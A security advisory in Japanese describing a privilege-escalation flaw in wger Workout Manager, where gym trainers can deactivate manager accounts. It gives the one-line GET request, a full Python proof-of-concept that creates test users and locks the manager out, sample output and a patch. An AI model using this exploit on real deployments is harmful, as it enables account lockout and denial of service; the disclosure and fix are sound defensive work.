wger: トレーナー権限の昇格 - 不適切な権限管理
### 概要
`gym_trainer`権限を持つユーザーは、同じジム内のすべてのユーザーアカウントを無効にすることができます。これには、`gym_manager`や`general_gym_manager`アカウントも含まれます。`UserDeactivateView`は、`gym.manage_gym`、`gym.manage_gyms`、または`gym.gym_trainer`の**いずれか1つ**の権限を持つユーザーにアクセスを許可し、より低い権限を持つユーザーがより高い権限を持つユーザーを無効にすることを防ぐための権限階層のチェックを行っていません。
### 詳細
`UserDeactivateView`(ファイル: `wger/core/views/user.py`、378行目)の設定は以下の通りです。
```python
permission_required = ('gym.manage_gym', 'gym.manage_gyms', 'gym.gym_trainer')
```
`WgerMultiplePermissionRequiredMixin`(ファイル: `wger/utils/generic_views.py`、48行目)は、このタプルをOR条件として扱い、いずれか1つの権限があれば十分です。
```python
class WgerMultiplePermissionRequiredMixin(PermissionRequiredMixin):
def has_permission(self):
for permission in self.get_permission_required():
if self.request.user.has_perm(permission):
return True # <-- いずれか1つの権限で十分
return False
```
`dispatch()`メソッドは、同じジムのメンバーであるかどうかのチェックのみを行っています。
```python
def dispatch(self, request, *args, **kwargs):
edit_user = get_object_or_404(User, pk=self.kwargs['pk'])
if (
request.user.has_perm('gym.manage_gym')
or request.user.has_perm('gym.gym_trainer')
) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id:
return HttpResponseForbidden()
# チェックなし: ターゲットユーザーがリクエストユーザーよりも高い権限を持っているか?
return super().dispatch(request, *args, **kwargs)
```
トレーナーがマネージャーをターゲットにすることを防ぐチェックは**ありません**。同様の脆弱性は、`UserActivateView`(415行目)にも存在します。
追加の要因として、`wger/gym/helpers.py`ファイル(102行目)にある`get_permission_list()`関数は、**常に**利用可能なロールに`'trainer'`を含んでいます。つまり、どのジムマネージャーもトレーナーのアカウントを作成でき、作成したマネージャー自身を無効化することができます。
### 実証
#### 前提条件
- ジムに少なくとも2人のユーザーが存在すること。1人は`gym_manager`ロール(被害者)、もう1人は`gym_trainer`ロール(攻撃者)。
- 両ユーザーが同じジムに所属していること。
#### 攻撃手順
```
# トレーナーとして、以下のURLにアクセスするだけです。
GET /en/user/<manager_user_id>/deactivate
```
マネージャーのアカウントが即座に`is_active = False`に設定されます。マネージャーはログインできなくなります。
#### 実証スクリプト
```python
#!/usr/bin/env python3
"""
PoC: トレーナー -> マネージャーの権限昇格 (アカウントの無効化)
対象: wger Workout Manager
深刻度: HIGH - CVSS 6.5
CWE-269: 不適切な権限管理
使用方法:
python3 poc.py http://localhost:8000
"""
import requests
import sys
import re
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <BASE_URL>")
print(f"Example: {sys.argv[0]} http://localhost:8000")
sys.exit(1)
BASE = sys.argv[1].rstrip("/")
API = f"{BASE}/api/v2"
MANAGER_USER = "gym_manager_poc"
MANAGER_PASS = "Manager!Poc!2025"
TRAINER_USER = "evil_trainer_poc"
TRAINER_PASS = "Trainer!Poc!2025"
BANNER = """
=====================================================================
PoC: トレーナー -> マネージャーの権限昇格
深刻度: HIGH
CWE-269: 不適切な権限管理
=====================================================================
"""
print(BANNER)
# ---- ヘルパー関数 ----
def api_login(username, password):
r = requests.post(f"{API}/login/", json={
"username": username, "password": password
})
if r.status_code == 200:
return r.json().get("token")
return None
def api_headers(token):
return {"Authorization": f"Token {token}", "Content-Type": "application/json"}
# ---- Django ORMを使用したセットアップ (コンテナ内で実行する必要があります) ----
```
import os, django
os.environ['DJANGO_SETTINGS_MODULE'] = 'settings.main'
sys.path.insert(0, '/home/wger/src')
django.setup()
from django.contrib.auth.models import User, Group
from wger.gym.models import Gym
# 権限グループの存在を確認
for name in ['gym_member', 'gym_trainer', 'gym_manager', 'general_gym_manager']:
Group.objects.get_or_create(name=name)
# ジムを作成
gym, _ = Gym.objects.get_or_create(name="PoC Test Gym")
print(f"[*] ジム: {gym.name} (id={gym.id})")
# マネージャーを作成 (被害者)
manager, created = User.objects.get_or_create(
username=MANAGER_USER,
defaults={"is_active": True}
)
if created:
manager.set_password(MANAGER_PASS)
manager.save()
manager.userprofile.gym = gym
manager.userprofile.save()
manager.groups.clear()
manager.groups.add(Group.objects.get(name='gym_manager'))
manager.is_active = True
manager.save()
print(f"[*] マネージャー (被害者): {manager.username} (id={manager.id})")
print(f" グループ: {[g.name for g in manager.groups.all()]}")
print(f" is_active: {manager.is_active}")
# トレーナーを作成 (攻撃者)
trainer, created = User.objects.get_or_create(
username=TRAINER_USER,
defaults={"is_active": True}
)
if created:
trainer.set_password(TRAINER_PASS)
trainer.save()
trainer.userprofile.gym = gym
trainer.userprofile.save()
trainer.groups.clear()
trainer.groups.add(Group.objects.get(name='gym_trainer'))
print(f"[*] トレーナー (攻撃者): {trainer.username} (id={trainer.id})")
print(f" グループ: {[g.name for g in trainer.groups.all()]}")
# ---- 1. 攻撃前にマネージャーがアクティブであることを確認 ----
manager.refresh_from_db()
print(f"\n[*] 攻撃前のマネージャーのis_active: {manager.is_active}")
assert manager.is_active, "テスト前にマネージャーはアクティブであるべきです"
# ---- 2. 攻撃: トレーナーがマネージャーのアカウントを無効にする ----
print(f"\n{'-'*65}")
print(f" 攻撃: トレーナーがジムマネージャーのアカウントを無効にする")
print(f"{'-'*65}")
```
from django.test import Client
c = Client()
c.force_login(trainer)
resp = c.get(f"/en/user/{manager.id}/deactivate", follow=True)
print(f"\n GET /en/user/{manager.id}/deactivate")
print(f" (ログインユーザー: {TRAINER_USER} - gym_trainerのみ)")
print(f" レスポンス: HTTP {resp.status_code}")
# ---- 3. 検証 ----
print(f"\n{'='*65}")
print(f" 検証")
print(f"{'='*65}")
manager.refresh_from_db()
print(f"\n 攻撃後、Managerのis_active: {manager.is_active}")
if not manager.is_active:
print("""
+----------------------------------------------------------+
| 脆弱性が確認されました |
| |
| gym_trainerがgym_managerのアカウントを正常に無効化しました! |
| この操作を防止する権限チェックが行われていません。 |
| トレーナーはこれで、すべてのマネージャーをジムからロックアウトできます。 |
+----------------------------------------------------------+
""")
manager.is_active = True
manager.save()
print(" [+] 修正: Managerを再度有効化しました")
else:
print("\n Managerはまだ有効です - 脆弱性はありません")
```
#### 概念実証の出力例
```
=====================================================================
概念実証: トレーナーによるマネージャーの権限昇格
深刻度: 高
CWE-269: 不適切な権限管理
=====================================================================
[*] ジム: PoCテストジム (id=2)
[*] マネージャー (被害者): gym_manager_poc (id=4)
グループ: ['gym_manager']
is_active: True
[*] トレーナー (攻撃者): evil_trainer_poc (id=5)
グループ: ['gym_trainer']
[*] 攻撃前、Managerのis_active: True
=================================================================
攻撃: トレーナーがジムマネージャーのアカウントを無効化
=================================================================
トレーナーのログイン: HTTP 200
GET http://localhost/en/user/4/deactivate
(ログインユーザー: evil_trainer_poc - gym_trainerのみ)
レスポンス: HTTP 200
```
=================================================================
検証
=================================================================
攻撃後、マネージャーのアクティブ状態: False
+----------------------------------------------------------+
| 脆弱性が確認されました |
| |
| ジムのトレーナーが、ジムのマネージャーを正常に無効化しました! |
| この操作を防止する権限の階層チェックは存在しません。 |
| トレーナーは、これでジムのすべてのマネージャーをロックアウトできます。 |
+----------------------------------------------------------+
[+] 修正:マネージャーを再度アクティブ化しました
```
### 影響
1. **ジム管理のロックアウト:** トレーナーは、自分のジム内のすべてのマネージャーアカウントを無効化し、ジムの管理機能を実質的に掌握することができます。
2. **サービス拒否:** 無効化されたマネージャーは、`general_gym_manager`(スーパー管理者)またはDjangoのスーパーユーザーが手動でアカウントを再度アクティブ化するまで、ログインできず、メンバーの管理やその他の管理タスクを実行できません。
3. **悪用連鎖:** `get_permission_list()`が常に割り当て可能なロールに`'trainer'`を含んでいるため、どのマネージャーも、後で自分自身をロックアウトするアカウントを意図せずに作成してしまう可能性があります。
### 修正方法
`UserDeactivateView.dispatch()`および`UserActivateView.dispatch()`に、権限の階層チェックを追加します。
```python
# ファイル: wger/core/views/user.py、両方のビューのdispatch()内
edit_user = get_object_or_404(User, pk=self.kwargs['pk'])
# トレーナーは、マネージャーや他のトレーナーを無効化/アクティブ化してはいけません
if request.user.has_perm('gym.gym_trainer') and not (
request.user.has_perm('gym.manage_gym')
or request.user.has_perm('gym.manage_gyms')
):
if (
edit_user.has_perm('gym.manage_gym')
or edit_user.has_perm('gym.manage_gyms')
or edit_user.has_perm('gym.gym_trainer')
):
return HttpResponseForbidden()
```
影響を受けるパッケージ:
- pip (Python) wger: 影響を受けるバージョン <= 2.1、修正はなし